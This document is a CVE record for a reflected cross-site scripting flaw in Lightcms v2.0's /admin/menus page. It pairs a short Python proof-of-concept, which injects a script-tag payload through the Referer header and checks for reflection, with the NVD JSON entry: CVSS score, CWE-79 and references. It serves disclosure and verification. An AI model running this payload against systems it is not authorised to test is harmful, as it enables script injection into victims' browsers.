CVE-2026-29934

import requests # Target URL containing the vulnerable component target_url = "http://target-host.com/admin/menus" # Malicious JavaScript payload to be injected via the Referer header xss_payload = "<script>alert('CVE-2026-29934_XSS');</script>" # Prepare headers with the injected payload headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) PoC-Scanner", "Referer": xss_payload } try: # Send the GET request to the vulnerable endpoint response = requests.get(target_url, headers=headers, timeout=10) # Check if the payload is reflected unfiltered in the response body if xss_payload in response.text: print("[+] Vulnerability Confirmed: The payload was reflected in the response.") else: print("[-] Vulnerability Not Detected: Payload not found or encoded.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")

{"cve": {"id": "CVE-2026-29934", "sourceIdentifier": "[email protected]", "published": "2026-03-26T15:16:36.017", "lastModified": "2026-05-10T14:16:49.260", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A reflected cross-site scripting (XSS) vulnerability in the /admin/menus component of Lightcms v2.0 allows attackers to execute arbitrary Javascript in the context of the user's browser via modifying the referer value in the request header."}, {"lang": "es", "value": "Una vulnerabilidad de cross-site scripting (XSS) reflejada en el componente /admin/menus de Lightcms v2.0 permite a los atacantes ejecutar Javascript arbitrario en el contexto del navegador del usuario mediante la modificación del valor del referer en la cabecera de la solicitud."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lightcms_project:lightcms:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "188FCA72-D81E-48AA-8C49-58CB4BCD877F"}]}]}], "references": [{"url": "https://github.com/eddy8/LightCMS/issues/38", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Mitigation"]}]}}